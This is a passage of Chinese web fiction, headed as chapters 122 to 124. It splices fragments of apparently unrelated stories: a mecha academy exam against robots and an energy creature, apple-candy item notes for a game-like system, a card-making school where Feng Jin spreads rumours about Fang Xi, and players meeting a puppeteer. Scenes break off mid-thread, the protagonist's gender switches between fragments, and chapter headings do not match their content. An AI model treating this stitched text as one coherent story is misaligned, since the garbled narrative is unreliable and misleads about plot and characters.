方羲比谁都清楚自己的体能，在末世，体力透支并不意味着没有作战能力。 举枪的瞬间，她突然懂了入学考核的安排，为什么要把武器测速安排在速度之后。 颤抖状态下射出的每一炮不偏移，正常状态下的射击才够稳。 在短发老师兀自的焦急中。 方羲左手架着枪炮，右手挥动长枪。 带着银白枪头的长枪在空中划出一抹冷光，单兵的手在颤抖着，机甲的枪炮和长枪都在抖动。 但在每一次障碍物的奔袭而来时，她在半空跃动的身影却格外坚定。 训练室内一声声轰鸣和武器相接的铮鸣声，被隔绝设备阻挡在了室内。 但在室外的短发老师看着例无虚发的枪炮，和落到实处的枪锋。 重重松了一口气。 她在未曾注意之时，竟然为这位出自远星环的星际游民，惊出了一身的热汗。 “恭喜你。” 短发老师五味杂方的开口。 “最后一项考核是，机甲作战能力，本次考核分为两次作战项目。” 机甲作战能力考核，需要方羲驾驶机甲，分别和战斗型机器人，以及模拟能量体对战。 听到后者时，方羲目光闪了闪，内心冷冷哼了一下。 她对能量体的厌恶，一来自于维修店的摧毁，二来自于塔洛星受灾的人群，三来自于星际最大的危机均是能量体引起。 这种生物就像异种。 破坏了原本美好和安宁的一切。 都该死。 第一场机器对战开始时。 方羲打量着战斗型机器人。 这一型号的机器人只有军校和十一区有资格使用。 自从多年前，一起导致了卡曼纳帝国覆灭的机器叛乱之后，星际人彻底明白了机器生出智能的可怕。 那之后，一场庞大的改革，彻底让星际摆脱了对机器的依赖。 就连机甲的智能操作都被改装掉了。 战斗机器人虽说作战水平一般，至少在方羲看来是这样，但仍然被严格管控起来。 机器人的速度和攻击被程序设定好，每一次都能够被预测。 和机器人的对战，方羲能够很轻易的躲开对方的攻击，并且随时可以找到适合下手的位置，结束战斗。 但她实在太累了。 第二三场考核让她的体力严重透支，现在呼吸还没有平稳过来。 这样舒适的作战节奏对她而言是一种休息方式。 方羲想恢复到一种比较好的状态。 好好的揍一顿能量体。 哪怕是虚拟的。 她在里面闲庭信步似的溜着机器人，殊不知，室外，短发老师为她担心的眉头都要拧碎了。 生怕她倒在了这一步，让大好的机会从指尖溜掉。 好几次，短发老师注意到机器人的命门，甚至都恨不得冲进去，代替方羲动手。 但她焦急的心情和稳定的神色，与不动如山的身体形成鲜明的反差。 短发老师很有自己的职业素养。 哪怕忍得掌心都泛汗了，硬是一声不吭。 直到方羲感觉到了自己状态回春，才和机器人拉远距离，闪爆炮轰在机器人附近的位置，另一只手同时舞动长枪，抬手投标一样。 她预判到机器人的下一个位置。 在对方闪避，落地之前。 机器人的身体还停留在半空。 一道银白色冷光如流星直坠。 瞬间贯穿机器人的整个中央程序板，打破他外部机器坚硬的金属外壳，枪头从背后穿出，将他向后拖行几米，钉在另一边的墙壁上。 短发老师一口气还没上来。 这一幕突兀发生，她险些岔气。 她轻咳一声，重新调整好呼吸。 才抬眸再看了一眼情况。 训练室的墙壁被长枪留下一个浅浅的口子。 短发老师内心一跳，随睁大了眼，起身去确定训练室的痕迹。 可这是！能够抵挡无数枪炮！甚至能量攻击的特殊金属啊！ 不是，她到底吃什么长大的？ 短发老师在这一刻，发出了来自内心的质问，她回忆着方羲那个体格，认真的想：到底吃什么，能让人看着一副营养不良，病弱要倒的惨样，转头还能爆发出这么强的力量的？ 这合理吗？ “抱歉”，短发老师脑海飞快的闪过自己许多的不解时，方羲看着受损的机器人（其实已经死透了）和留下痕迹的训练室。 真诚的问道：“我应该不用赔偿吧？” 她语气有些试探的小心。 短发老师一哽，手握了握拳，努力平静的回答：“不用，继续下一项吧。” “好的。” 方羲松了一口气。 能量体作战需要特殊的模拟场装置，方羲短暂的等了片刻。 虽然就发现训练室的场景瞬间变化。 这种变化像极了塔洛星黑天蔽日，能量体降临的那天。 那时候方羲正处于狂风席卷之中，周围的声音都被她过滤掉，只想抓住最适合脱身的时机。 但这晚来的记忆，却在这一刻无比清晰的提醒她。 建筑坍塌的巨响，人体撕裂的嘶嚎，以及数不清的人，痛苦的哭喊求救声。 黑夜降临在白昼一样的训练室中。 一只长相丑陋的长条巨型蜈蚣从另一边爬出来。 他的足行走在训练室模拟的黑色土地，碎石和摩擦声让方羲格外烦躁。 在短发老师提醒她：“战斗开始”的瞬间，方羲握着长枪疾身冲出。 长条蜈蚣还没来得及挑衅一下，就被长枪挑了起来，然后反手重重一锤。 那震动，让在室外的短发老师手都抖了两下。 她调整了一下语音话筒，把剩下的半句提醒说完：“能量晶的位置在训练室广屏上，取出能量晶，则结束考核。” 方羲耳边听到这个背景音，抬眼扫了眼光屏，迅速在长条蜈蚣身上定位到位置。 被捶进土里的长条蜈蚣尖叫了一声，一道火光从他身体里，顺着长枪朝机甲燃烧。 方羲一脚踹在它身上，借力拉开距离，临走前还要发射一炮闪爆，轰在它坚硬的甲壳上。 机甲凌空而立，长枪在空中被挥舞得虎虎生风，火焰被流转的风吹熄。 但长枪外表，已经被火焰灼烧，泛出一层焦黑的哑光。 看着武器上的瑕疵，方羲冷声： “你完了。” 【本次物品详情将不做过多的赘述，因为我不想填写，请自行体会其奥妙之处。】 【使用效果如下： 腐蚀度下降20点 异端抗性的低幅度提升 攻击力的微弱提升 敏捷度的微弱提升 …… 以及，危险来临之际的灵感预判】 【哦对，请注意，想要获得以上的使用效果，其前提是吃完一整个苹果：）】 第 122 章 第 122 章 失乐园的十三个系统，罕见地卡了半分钟。 方羲因为这突如其来地断网，很快失去了和顾客们互动的耐心，干脆关掉游戏系统，转身继续捣鼓新的苹果糖。 耗费五个小时，方羲又制作出一百个苹果糖，并开发出新的表皮颜色，分别是波光粼粼的透明、反射着阳光的七彩、蛇皮一般的暗绿、撒着雪花粒的纯黑……全是颜值超高的苹果！ “我写完了，给。”九百号忽然走了过来，把写了满满的笔记本，和方羲原本没写完的那份，一并塞到她的手里，然后扭了扭身体，让自己变回小小的泥土小人。 方羲好奇地打开一看。 一分钟后，方羲大受震撼！ 和她奉行极简主义的笔记相比，九百号写的这份，几乎每一个细节都想到了。从头到尾，不仅在兼顾普通人类天赋的情况下，甚至还列出好几种可能发生的错误案例，还有后续的解决方案。 “你不信去问问这附近的人家，她们都是证人。” 附近的这些人家可不正是平日里跟她玩的比较好的人家，而且这些话她都已经不知道跟她们说过多少遍了。 秦老师：“……我知道了，谢谢您了。” 从赵家出来，秦老师的眉头皱的都快能夹苍蝇了。 所以冯晋说的竟然是真的，方羲的品行竟然真的这么恶劣。 以至于他都想直接打道回府了。 但是他转念一想，他都已经千里迢迢跑过来了，那还是再走访几户人家吧。 也就在这个时候，一道‘小龙卷’从他身边呼啸而过。 下一秒，那道‘小龙卷’就停了下来。 他回头一看，问秦老师：“你也是来买卡牌的？” 秦老师摆了摆手：“我不是。” “好吧！” ‘小龙卷’可不正是谷池。 “真的不买卡牌吗？我哥哥可是方羲，现在在第一中学上学，我们家的卡牌都是他画的，F级水卡只要一百二十四星币，而且保证全都是合格品哦。” “不用。” 秦老师说。 但他很快就反应了过来：“等等，方羲？” “你是……方羲的表弟？” 谷池：“对啊。” 秦老师不免有些惊讶。 因为如果方羲真的像冯晋和刚才那个老婆子说的那样的话，那么方羲的表姐弟跟他的关系应该不怎么样才对，可是看谷池的样子，他和方羲的关系似乎很不错，要不然他怎么会帮着方羲拉客人？ 难道这里面有什么误会？ 秦老师当即打起精神：“这么便宜的吗，那我买几张。” 谷池：“那你跟我来。” 秦老师便跟着他回了家。 一路上，他都在旁敲侧击：“……方羲是你表哥哥，那你们怎么会住在一起？” 谷池：“哦，他妈妈去世了，抚养权归了我妈。” 秦老师：“你爸也同意了？” 谷池：“没有，所以他借着这个机会把我们都踹了。” 秦老师：“……” 虽然但是，事情果然跟冯晋他们说的不太一样，毕竟刚才那个老婆子说的可是方羲撺掇他大姨跟他大姨夫离了婚。 他顿时就更精神了：“那你们的关系一定很好吧？” 谷池：“那是当然了。” “他可比我亲哥还要亲，毕竟谁家亲哥会给弟弟每个月一千多的零花钱。” 说到这里，谷池忍不住仰起了下巴。 就因为这，他现在成了班里的老大，以前隔壁班的体育委员老是欺负他，就因为他们的名字一模一样，但他要比隔壁班的体育委员长得好看。 可是现在，都不用他发话，他班上的同学就主动去把隔壁班的体育委员揍了一顿，吓得他都不敢再踏进他们班一步。 秦老师：“……” 他能说他现在一个月都没有一千块钱的零花钱吗 他当即就想要再追问几句。 但是谷池又不是真的傻：“你问这么多干什么？” 而也就在这个时候，门外传来一阵脚步声。 谷燕回来了。 最主要的是，她一眼就认出了秦老师：“您是……方羲的班主任？” 因为谷大姨知道方羲分到了二班之后，就专门找人打听了一下二班班主任的情况，想着等哪天有空了，她就买点礼物去拜访拜访秦老师。 她当时就坐在她旁边，偶然间看到了秦老师的照片。 不等秦老师反应过来，谷池就说道：“羲哥的班主任？” “那你刚才为什么一直在跟我打听羲哥的事情？” 谷燕：“什么？” 她看向秦老师的目光也变得惊疑起来。 “好吧。” 秦老师只能如实说道：“其实我今天是过来调查方羲同学的家庭情况的，因为现在第一中学里有人说方羲同学的人品不太好……” 他将那些流言简单的说了一遍。 谷燕：“……” 那人知道的还挺多。 不用猜也知道这件事情里面肯定涉及到了一些利益，否则秦老师何必千里迢迢从第一区跑到第十区来求证这件事情。 如果是以前，谷燕还真就不一定会帮方羲说话，可是现在，谷燕只想说，感谢老铁送来的帮她修复和方羲的那点塑料姐弟关系的帮助。 于是她眉头一皱：“这是哪个不要脸的在造谣？” 秦老师顿时就更振奋了：“你的意思是方羲同学以前没有欺负过你们。” 谷燕脸不红心不跳：“没有，倒是我们因为我妈比较偏爱他，所以以前老是欺负他，不过那都是小孩子间的打闹而已，现在我们都已经懂事了，和好了。” 说着，她转头看向谷池，给他使了个眼色。 谷池：“……” 虽然不知道为什么谷燕要颠倒黑白，但他的直觉告诉他，如果他敢拆她的台，那他下半辈子就别想过上安生的生活了。 于是他用力点了点头：“嗯嗯。” 秦老师提着的心彻底放了下来。 那看来这件事情的确是个误会了。 谷燕却又问道：“不知道您能不能告诉我们，到底是谁在学校造我们家方羲的谣？” 秦老师：“这个，也不算是造谣吧，这里面应该是有什么误会。” 像是想起了什么，他又说道：“反而是我到了这里之后，听到了一些不太好的话。” “就那边那栋灰色的小房子，有个老婆子说，方羲同学在家里什么活都不干，还偷过她家的钱……” 他只是觉得，既然谷燕和谷池跟方羲的关系这么好，那赵老婆子显然是在污蔑方羲了，所以把她卖了，秦老师一点都不觉得亏心。 谷燕：“……” 她直接就气笑了。 亏她之前还有点同情赵老婆子，结果她转身就又捅了他们家一刀。 下次谷大姨去赵老婆子家门口撒野的时候，她必须去凑个热闹。 “既然事情已经查清楚了，那我就先回去了。” 秦老师说道。 谷燕当即就提出要请秦老师出去吃个晚饭，不过秦老师拒绝了。 他可没有吃拿卡要的坏习惯。 等到秦老师走了，谷池才问道：“所以这到底是怎么一回事？” 谷燕直接伸手揉了揉他的头发。 毛茸茸的，手感还挺好，难怪方羲喜欢摸他的脑袋，谷燕忍不住又摸了一下 她有些骄傲：“你现在可以给你的那个哥发消息了，告诉他，他给你的零花钱，没有一分钱是白花的。” 她也准备去试一试那双运动鞋了。 ——在这之前，她还真就不太好意思当着方羲的面穿上那双运动鞋。 不过现在她就不用纠结那么多了。 这都是她应得的！ 另一边，那些流言也很快就传到了乔峻的耳朵里。 方羲竟然是这种人？ 这怎么可能？ 偏偏这个消息又是冯晋传出来的。 他肯定不会撒谎。 毕竟他的人品可是由欧阳震华老先生以及整个启明星的人盖过章的。 但是乔峻也没有办法接受方羲竟然是那样一种人。 不过他也没有背地里揣测人的习惯，所以他准备等方羲从浴室出来，就直接去向他求证这件事情。 哪知道下一秒，他的光脑就又响了。 就在刚才，校长办公室发了一条公告，内容是替方羲澄清谣言的。 乔峻：“……” 他就知道方羲不会是那种人。 那就没事了。 结果就是，作为这件事情的主角的方羲，从头到尾都不知道今天发生过什么。 因为回到学校的秦老师第一时间找到校长，把调查到的真相告诉了他。 校长也振奋了起来，他第一时间让人把冯晋请了过来。 “冯同学，这件事情我们已经查清楚了，方羲同学并不是你以为的那种人……秦老师去调查这件事情的时候，有个姓赵的老婆子因为和方羲同学家里有点嫌隙，一个劲儿的往方羲同学身上泼脏水，所以你听到的那些流言，十有八九就是她宣扬出来的……” 冯晋的脸直接就僵住了。 他承认，他知道的那些事情都是他从听到的一些流言里总结出来的。 但是苍蝇不叮无缝的蛋，如果方羲不是那种人，怎么会有这样的流言传出来。 他怎么也没有想到，学校会派人去核实这件事情。 而谷家姐弟竟然会帮着方羲说话——是了，现在方羲出息了，她们巴结他还来不及呢，又怎么可能会得罪他呢，哪怕他们对方羲恨之入骨。 果然，贱民就是贱民，这辈子也就这点出息了。 也就是说，现在所有人都知道是他‘误会’了方羲了。 那他自然也就不能再‘要求’那些大少爷和大小姐把方羲赶出启明星了。 但他能怎么办？ 他只能说道：“原来是这样，那我得好好的给方羲道个歉才行。” 毕竟他可不能毁了他乐于助人，善良大方的形象。 而也就在他终于从校长办公室里出来了的时候，他的光脑突然响了。 电话可不正是那位欧阳少爷打过来的。 他小着声音：“哥哥，我一个人待在家里好无聊呀，我可以来找你玩吗？” “不行——” 冯晋几乎是脱口而出，就连声音也变得异常尖锐。 他满脑子里只剩下一句话，万一欧阳少爷跑到第一中学来，碰到方羲了怎么办？ 他当即放轻声音，说道：“我一会儿还有一些事情要处理，恐怕没有时间陪你，要不等明天晚上，我去你家陪你看电影好不好？” “好的吧。” 第一区南部郊区的一栋山顶别墅里，一个七岁左右的小男孩蜷缩在一个狭小的柜子里，一脸失望的挂断电话。 他忍不住把头往怀里的小阿拉斯加的脖子里埋了埋：“大黄，我现在好难受啊，可是爷爷在见客人，晋哥又来不了……” “嗷呜。” 小阿拉斯加舔了舔他的脸。 然后像是想到了什么，它又叫了一声：“嗷呜。” “去学校找晋哥？” 小男孩有些心动，又有些害怕：“可是外面人好多啊，万一又遇上坏人了怎么办？” “嗷呜！” 小阿拉斯加中气十足的嚎了一声。 小男孩犹豫了一会儿，又犹豫了一会儿，终于在小阿拉斯加的催促中，点了点头：“好哦，那你可一定要好好保护我。” 说着，他鼓起勇气，推开了衣柜的大门。 另一边，方羲也被乔峻拉着出了校门：“觉醒成了能力者可真是太棒了，晚上都不用上晚自习了。” “听说学校后面就有一个大型游乐场，这不得去逛一逛？” 001，我们最爱戴的领袖，唯一的先锋，率先步入天堂的伟大灵魂。 你曾经希望我们活得越久越好，希望我们替死去的同类见证人类通往穷极，希望我们能够培养出更多纯粹的火种。 可是，001。 这里已经不是9序列插手的时代了。 第 123 章 第 123 章 “陈据雪，你好。” “我是傀儡师言丹青，旁边这位猎人叫许微澜。”这名身形略显瘦削、似乎没什么攻击性的男性青年微笑道，“虽然我不太想承认，但如你所见，我们是一对还算默契的老搭档。” 许微澜瞥了他一眼，倒也没打岔，而是友好地向梨花雪伸出手：“小雪，很高兴认识你，以后生活上有什么问题，可以随时联系我！我先给你发我的私人联系号码……” 梨花雪愣了一下。 这是两名首席玩家。 但和众所周知的秦淮月、宋白玉相比，他们团队的风格似乎颇为低调，在梨花雪所知的情报网中，也没有多少关于二人的资料。 身体相对瘦弱、声音有些沙哑的，是被磨损的傀儡师。左撇子，手里拿着一串开锁工具，其中有一只锋利的钢笔。听不见他心脏跳动的声音，胸腔反而隐约传来齿轮转动的细微声响。 而旁边的猎人，有着像猫一样轻盈敏捷的身体，脸颊留着十几道像人偶一样的裂缝，一双没有焦距的机械义眼。腰间佩着一把武士长刀。但笑容看上去很舒服。 但是这些都已经不重要了，重要的是，那位欧阳少爷，其实是方羲从河里救上来的—— 他只不过是帮忙打了个报警电话而已。 但他没有想到的是，方羲明明都已经被河水冲走了，最后竟然还是活下来了。 这也就算了。 毕竟从方羲回来这么久，都没有去找欧阳家的人，就可以猜出，他在救人的时候应该没有看清楚欧阳少爷的脸，也根本就不知道他救的人是欧阳震华的独孙。 再加上他那点天赋值，如果不出意外的话，他这辈子都不可能有机会再见到欧阳震华和欧阳少爷。 所以他也就没有再关注过方羲。 可是现在，方羲却出现在了第一中学—— 想想也知道，一旦欧阳震华发现事情真相，他面临的将会是什么。 不行，他必须要想个办法，解决掉方羲。 另一边，乔峻和其他学生一样，最后是捧着肚子从食堂里出来的。 因为红烧肉实在是太好吃了，他们把菜吃完之后，连剩下的那点汤汤水水都不愿意浪费，于是咬牙又花三十积分要了一份米饭，扣进了剩下的肉汁里，最后连盘子都舔干净了。 乔峻忍不住感慨道：“这个世界上真的再没有比红烧肉更好吃的东西了。” 其他人也都说道：“就是肉太少了，一份菜里面只有六七块肉，其他的全都是土豆。” “听说古人以前可是天天都能吃上肉的，古人的快乐我真的想象不到。” …… 听见这话，方羲心底的满足感也没有那么强烈了。 只可惜了，肉类的卡牌都是E级以上卡牌，他目前还画不出来。 所以他还是得继续努力才行啊！ 下午两点，开学典礼按时举行。 全程都没有方羲他们什么事。 他们要做的就是在适当的时候鼓鼓掌。 代表新生发表演讲的果然是冯晋。 方羲多看了他两眼。 只能说他还是前身印象中的样子，和前身的身形差不多，穿衣风格也很相似。 然后就开始正式上课了。 正如同谷大姨之前打听到的那样，就在欧阳震华老先生给重点班上课的时候，其他班的学生也可以在各自的教室里，收看直播。 虽然他们没有办法和欧阳震华老先生互动，但是每个教室后面都有一名制卡老师驻守，遇到不懂的，可以去请教那名制卡老师。 和绝大多数退休老人一样，这位欧阳震华老先生也有些老年发福，不过这丝毫遮掩不了他那通身的气度。 大概是考虑到冯晋和启明星上的本土学生都是刚刚觉醒没多久，所以第一节课，这位欧阳震华老先生也是选择的从最基础的冥想开始讲起。 对此，一班和二班的那些大少爷和大小姐并没有表现出丝毫不耐烦，因为不少人按照欧阳震华老先生教授的方法冥想了一段时间后，从空气之中汲取异能力的速度比之前快了一点。 而且看到速度比其他人要慢上不少的，欧阳震华老先生还会出声指点。 而普通学生这边，没过多久，就有好几十个顺利感应到了空气中的异能力。 这可比第一中学原本的教学效率要好多了。 毕竟在这之前，没有一个星期的时间，他们可达到不了这样的教学成果。 第一中学的校长等人顿时就笑开了花。 只能说不愧是一手教导出两名3S级制卡师的名师。 想到这里，他们看向冯晋的目光顿时就更和蔼了。 然后他们就发现，冯晋竟然还是没能进入冥想状态…… 可惜了！ 他们不禁摇了摇头。 方羲也按照欧阳震华老先生教授的方法试了试。 然后发现他的冥想速度反而慢了两分。 方羲：“……” 对这位大佬的兴趣突然就减少了一大半。 于是他索性打开光脑，又购买了好几种生活类卡牌图纸，继续学习。 星网上流传的攻略里说，制卡师的等级和驭兽师的等级一样，都是以灵魂海大小为标准。 灵魂海越大，能够储存的异能力越多，等级就越高。 而灵魂海的面积，可以通过不断训练去扩大。 但是高一等级与低一等级之间，往往存在一道壁垒，单靠高强度的训练积攒的力量是没有办法打破那道壁垒的，所以还需要能力者去感悟异能力的奥妙，对异能力感悟的越多，那道壁垒就会变得越薄。 针对这一点，那些攻略里给出的建议是，C级以下的制卡师，盯准一类的卡牌，用力学，无脑学，学会五十种只是洒洒水，一百种刚入门，两百种真的不算多…… 学会的卡牌多了，自然而然的也就能领悟到一些东西。 用古人的话来说大概就是，熟读唐诗三百首，不会作诗也会吟。 于是方羲开始集卡了。 很快，就有人注意到他开起了小差。 一旁绞尽脑汁也无法进入冥想状态的学生：“……” 坐镇后方的秦老师：“……” 秦老师眉头微皱，忍不住走了过去。 毕竟方羲可是学校的重点培养对象，他当然不能眼睁睁看着他‘误入歧途’。 不过方羲正好在这个时候把那张薄荷卡的符文记了下来。 他收起草稿纸，拿出一张空白卡牌，然后就在上面画了起来。 看到这一幕，正要出声提醒他的秦老师当即就闭上了嘴。 因为这个时候要是打断方羲，绝对会直接造成方羲制作失败。 虽然他并不觉得方羲会成功。 因为从方羲手底下压着的那一沓草稿纸来看，他应该是第一次接触这种卡牌。 但没想到的是，十秒钟过去了，方羲还是没有停下笔。 “嗯？” 秦老师这才注意到，方羲画制的速度好像有点快。 都快赶上他这个C级制卡师了！！ 就这么一会儿的功夫，他就已经画好了大半的纹路了。 秦老师忍不住屏住了呼吸。 又过了半分钟，方羲利落收笔。 下一秒，一只手就突然伸了过来，抢过了他面前的那张薄荷卡。 方羲转头一看。 秦老师已经忍不住大喊了出来：“这真的是你第一次制作这张卡牌？” 四周的学生吓了一跳，下意识转头看过去。 方羲直接点了点头。 他现在才只是一个F级制卡师而已，没有藏拙的必要。 而且有的时候，恰当的展露一下自己的天赋，能够避免很多麻烦。 还是那些学生率先反应过来。 听他们的意思是，方羲刚才是在学习制作一种新卡牌，结果一次就成功了？ 这怎么可能？ 但他也没必要撒谎啊？ 秦老师很快就稳住了心神。 他看向方羲的目光瞬间也就更炙热了。 入学前就学会了制作四种卡牌已经是少见的天才了，但是和只花几分钟的时间就学会了制作一种卡牌相比，什么都不是。 ——方羲的资质显然比他们想象中的还要好上不知道多少倍！ 以至于就连他的声音也忍不住颤抖起来：“好了，你们继续学习。” 然后他就直接回到了座位上，没有再干预方羲的意思。 一下课，他就直接冲了出去，目的地赫然正是校长办公室。 于是很快，这个消息就传遍了大半个第一中学。 也传到了一班。 “二班的一个叫方羲的学生，觉醒才一个星期就学会了五种卡牌，而且每张卡牌都是一次就制作成功。” 在场的那些大少爷大小姐顿时都有些意动。 这样的资质在整个星际联盟其实并不算少见，尤其是在那些大家族里。 毕竟那个方羲学的只是F级卡牌。 但是这样的资质在平民之中就很稀少了，更别说是偏远落后的第十星系了。 倒是没想到作为第十星系的吊车尾的启明星，能出现这样一个小天才。 要是能够把他招揽到家族里，好好培养，以后说不定能够成为他们家族的一大助力。 方羲的资质竟然这么好？ 冯晋的脸都快要黑了。 而那些大少爷和大小姐也第一时间注意到了他的神情变化：“晋哥，怎么了？” 冯晋当即说道：“哦，那个方羲我认识。” “他跟我一样，都是寄居在亲戚家里，不过他却仗着他大姨对他的喜爱，欺压他大姨的孩子，把他大姨的孩子当奴隶使唤，还在学校里造谣说他大姨的孩子欺负他，以博取关注。” “一想到还要和这样一个烂人做两年的同学，我就觉得晦气。” 那些大少爷和大小姐立时就反应了过来。 冯晋这是在表达他对那个方羲的厌恶啊。 不管冯晋说的是不是真的，但只要他不喜欢那个方羲，那就是方羲的原罪。 那些大少爷大小姐瞬间就打消了招揽方羲的心思。 毕竟一个F级的小天才而已，还不足以让他们为了他而得罪冯晋。 甚至有人为了讨好冯晋，直接说道：“这还不简单？” “晋哥，给我一个星期的时间，我保证让他再也不会出现在你面前。” 听见这话，冯晋眼底的得意几乎化为实质。 所以对于现在的他来说，想要解决掉方羲，并没有他想象中的那么难不是吗？ 九百号欲言又止，最终气到闭嘴。 方羲没太注意广阔的第一层里，不远处似乎还有三个人在，直接不加思考地忽略落在她身上的目光——因为这并非异端的注视，所以不必在意。 然后，两名首席玩家看见方羲敲了敲前台的专属系统。 “四百张的病床……你们放在了哪里？给我个具体坐标吧。” 人格关键词包含【嘴贱】【双标】的006号系统，低眉顺眼地说：“尊敬的收藏家，您好。您吩咐的床位，已经早早准备完毕，就在核心区第七层，等待您的到来与使用。” 方羲心想，这个专属系统态度还怪好的。 比总是给她开罚单的十三号系统好点。 第 124 章 第 124 章 许微澜用手肘戳了戳言丹青，低声说：“喂，我想过去搭话！” 言丹青同样压低声音回应：“我也想。” 但这两个人面面相觑，最终还是没有选择上前。 “算了。”许微澜嘀咕道，“虽然不知道收藏家的想法，但大家的确很难接受你改造猎人的行为……我们团队一向讨人嫌，还是别上去碍眼了。” 言丹青面露一丝可惜，但也默认了许微澜的说法。 毕竟加入以言丹青为首的固定队伍，就需要同意遵守一条公开透明的规则——猎人的身体会被言丹青当做实验材料，改造成可用的替行者。 虽然这约等于变相的变强，但大多数身体还算健康的密匙玩家，都不太愿意这么做。 只有某些不甘心退役、哪怕穷极所有无下限手段、也要继续向前探索的疯子，才会选择加入言丹青的队伍。 但换言之，傀儡师言丹青反而成为了猎人们最后的挣扎与归路。 只要替换心脏、手、脚，就可以继续战斗。 哪怕摘掉被异端彻底腐蚀的双眼，换上一对灵感等同于零、根本毫无意义的机械义眼，一举一动会被傀儡师随意牵动，这群疯子也毫无怨言。 第二天一大早，方羲就再次坐上了前往第一中学的大巴。 然后他就被堵在了距离第一中学校大门还有一公里之远的路口处。 方羲将头探出车窗一看，只见昨天看起来还一览无余的第一中学大门口，现在却被大大小小的星舰围了个水泄不通。 显然，是那些大家族和豪门的子弟来了。 车上的乘客瞬间就都坐不住了。 “那是不是科伦公司前不久刚刚发售的海鸥三？” “就是我将来得打两百年工才买得起的海鸥三？” “嚯，还真是。” “看那边，星河SP，还是豪华版的？” “在哪儿，在哪儿？” …… 有一说一，那些星舰的确非常帅气，那流畅的线条，充斥着金属光泽，动辄超过二十米的机身，完全符合现代人对未来科技的幻想。 只有一点，那就是这场拥堵一时半会儿的怕是缓解不了了。 方羲只好下了车，走路去学校。 也就在这个时候，一个声音在他身后响了起来：“方羲？方羲？” 方羲回头一看，只见一个小胖墩朝着他跑了过来。 不过他好像不认识他。 小胖墩停了下来：“你好，方羲，我是乔峻，原先是第十中学30届八班的学生，现在和你一样，是第一中学30届制卡二班的学生，学号48。” 方羲不认识他很正常。 因为八班和方羲以前所在的一班都不在同一栋教学楼。 而且方羲在第十中学是众人皆知的年级第一加校草，而他只不过是八班的吊车尾。 没有想到的是，最后，他会因为被检测出45点天赋值，而成为第十中学30届的学生中天赋值最高的人，并且顺利觉醒成了一名制卡师。 更没想到的是最后方羲也觉醒成为了一名制卡师。 他终于有机会认识他了。 毕竟谁会不喜欢一个长得阳光帅气，学习成绩又好的同学呢？ 方羲懂了。 这又是一个被前身的表象所迷惑的小白。 他只能说道：“你好，很高兴认识你。” 两人随后并肩向第一中学走去。 一路上，乔峻的嘴巴就没有停过：“听我爸说，你才刚刚觉醒，就已经会画四种卡牌了，不愧是你……不像我，这么多天了，才刚刚学会冥想……” “第一中学的宿舍是两人间，我可以申请跟你一间宿舍吗？” “看到那边的工地了吗？那是第五星和伊丽莎白星的几个家族在帮第一中学扩建竞技馆，最多下个月，我们就能用上最先进的对战室了。” “对了，第一中学原本是没有食堂的，毕竟政府负担这么多学生的学杂费已经很吃力了，所以在吃的方面，以前只能给学生提供一些中级营养液。” 但是营养液再好，又怎么能比得上用异能力凝聚而成的，能够滋养人类的身体的自然食材呢？ “不过今年，萨尔星几个家族出资帮第一中学修建了一座食堂，至少这两年里，第一中学都不会缺少自然食材了。” “以后学校每个月都会按照成绩往我们的学生卡里打入一定的积分，听说一份基础的米饭加紫菜蛋花汤只要五十积分，一份红烧肉套餐也只要一百五十积分……对了，还可以用积分去卡牌超市兑换空白卡牌，一张F级空白卡牌只要十积分……” 这么算下来的话，第一中学的一积分相当于星际联盟的四星币。 “真不错。” 方羲偶尔出声附和一下。 很快，第一中学就到了。 他们先去见了他们未来的班主任。 那是一个五十多岁的中年男人，姓秦。 看到他们进来，他脸上的笑容顿时就又浓了三分。 他很快就给方羲和乔峻分配好了宿舍。 然后他又拿出两张卡片递给他们：“这是你们的学生卡，第一个月，学校会直接往里面打一千积分，之后就是按照月考成绩来了。” 当然了，其他学生都只有五百积分。 秦老师又说：“这间办公室是专门为你们而设的，有老师轮流值班，要是在学习上遇到什么难题，尽管来办公室找我们。” 虽然方羲和乔峻在今年第一中学招收的学生中，只能排到中上游。 但是他们心里都门清，重点班和二班的那些大少爷大小姐，他们只要供着就行了。 他们真正应该放在心上的，是方羲这些启明星本土学生，毕竟等到欧阳震华老先生走了，那些大少爷大小姐也会拍拍屁股跟着走的，启明星的将来还得靠方羲这些本土学生。 尤其是方羲。 秦老师：“好了，你们现在可以先去宿舍整理一下东西，开学典礼下午两点举行，你们记得提前半个小时到教室集合。” 方羲两人当即说道：“好的，谢谢秦老师。” 从办公室出来，他们就去了宿舍。 还没进门，他们就听到楼里传来一连串的惊呼声。 “……宿舍不仅翻新了，而且每个楼层还多了三个保姆机器人？” “这被子怎么这么软和？恒远牌的？这至少得三百星币一床吧，不怕你们笑话，我们家搬新家的时候都舍不得买这么贵的被子。” “不知道的还以为我现在是在酒店里呢。” “说起来，这可全都是那位冯晋同学的功劳呢！” “我宣布，从今天开始，冯晋就是我们30届学生的老大了。” “冯晋老大万岁！” “冯晋老大万岁！” 方羲将面前布置齐全，足足有十五个平方大的宿舍打量了一遍，也觉得很不错。 于是他跟着乔峻喊了一遍口号。 也就在这个时候，冯晋正好在一大群人的拥护下，从宿舍区旁边路过。 听到里面传来的声音，他不禁露出了一丝得意。 在他看来，这些人感谢他是应该的。 毕竟如果没有他，这些泥腿子就是努力十辈子，都不一定能见到欧阳震华老先生，更别说是得到他的教导了。 再一看簇拥在他身边的那些以往要是看到他，绝对不会多给他一个眼神，现在却冲着他一口一个晋哥的大少爷和大小姐，他就更得意了。 谁能想到呢，他冯晋，一个出身贫民窟的小人物，有朝一日会成为整个启明星都高攀不起的存在。 想到这里，他不禁又想到了一个人，那就是方羲。 要知道一个月前，方羲还是第十中学的风云人物，而他不过是老师和同学口中的万年老二，不管怎么努力，都会被方羲压过一头。 哪成想后来，方羲和他一样，测出来的天赋值都没能超过二十。 不过他运气好，摇身一变，成了欧阳震华老先生的恩人，欧阳震华老先生在得知他的情况之后，斥资千万为他购买了一支高级觉醒药剂，最终帮助他顺利觉醒成为了制卡师。 ——没错，和卡牌一样，觉醒药剂也分为高中低级，政府免费发放的觉醒药剂以及牧家捐献给启明星教育厅的觉醒药剂，都是最廉价的低级药剂，只有最基本的刺激使用者觉醒的功能。 而高等级的觉醒药剂，还有激发使用者的潜力，促使使用者觉醒的功效。 有数据表明，使用高级觉醒药剂觉醒的机率比低级觉醒药剂要高出至少五十倍。 只不过普通人连十万一瓶的低级觉醒药剂都买不起，更别说是高级觉醒药剂了。 反观方羲，辛苦一场却都给他做了嫁衣裳，而且说不定他现在就正在他住的那个廉租小区里无能狂怒呢。 想到这里，冯晋眼底的得意顿时就更明显了。 